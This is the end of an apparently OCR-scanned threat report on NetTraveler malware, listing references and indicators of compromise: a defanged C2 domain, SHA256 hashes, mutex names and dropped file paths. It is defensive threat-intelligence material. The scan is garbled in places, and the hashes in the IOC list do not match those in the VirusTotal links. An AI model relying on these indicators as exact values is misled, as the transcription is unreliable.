ebp+8
ﬁ&NtdiID!fUinGOuPrOt_A:] ‘

C_A>

DO3705E4
DOAFEF7S| 00000219
DOAFEF7C | 00008000
DOAFEFS0| 00000000
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https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080841/kaspersky-the-net-traveler-part1-final.pdf

VirusTotal link:
https://www.virustotal.com/gui/file/feca8db35c0c0a901556eff447c38614d14a7140496963df2e613b206527b
338/detection

VirusTotal link:
https://www.virustotal.com/gui/file/ed6ad64dad85fe11f3cc786c8de1f50239115b94e30420860f02e820fc539
24/detection

MSDN: https://docs.microsoft.com/en-us/windows/win32/api/

FireEye: Advanced Persistent Threat Groups (APT Groups)

DarkReading: Chinese Cyberspies Pivot To Russia In Wake Of ... (darkreading.com)

INDICATORS OF COMPROMISE

C2 domain: vipmailru[.Jcom

SHA256: FECA8DB35C0C0A901556EFF447C38614D14A7140496963DF2E613B206527B338
SHA256: ED6AD64DAD85FE11F3CC786C8DE1F5B239115B94E30420860F02E820FFC53924
Mutexes: “NetTravler Is Running!”, ” INSTALL SERVICES NOW!”

File names on disk:

%System%\config_t.dat
Y%windir%\system32\enumfs.ini
%windir%\system32\dnlist.ini
%windir%\system32\udidx.ini
Y%windir%\system32\uenumfs.ini
Y%windir%\system32\stat_t.ini
Y%windir%\system32\system_t.dlI
Y%windir%!\install.exe
%TEMP%\ntvba00.tmp\
temp.bat

34/34


https://www.virustotal.com/gui/file/feca8db35c0c0a901556eff447c38614d14a7140496963df2e613b206527b338/detection
https://www.virustotal.com/gui/file/ed6ad64dad85fe11f3cc786c8de1f5b239115b94e30420860f02e820ffc53924/detection
https://docs.microsoft.com/en-us/windows/win32/api/
https://www.fireeye.com/current-threats/apt-groups.html
https://www.darkreading.com/endpoint/chinese-cyberspies-pivot-to-russia-in-wake-of-obama-xi-pact/d/d-id/1324242

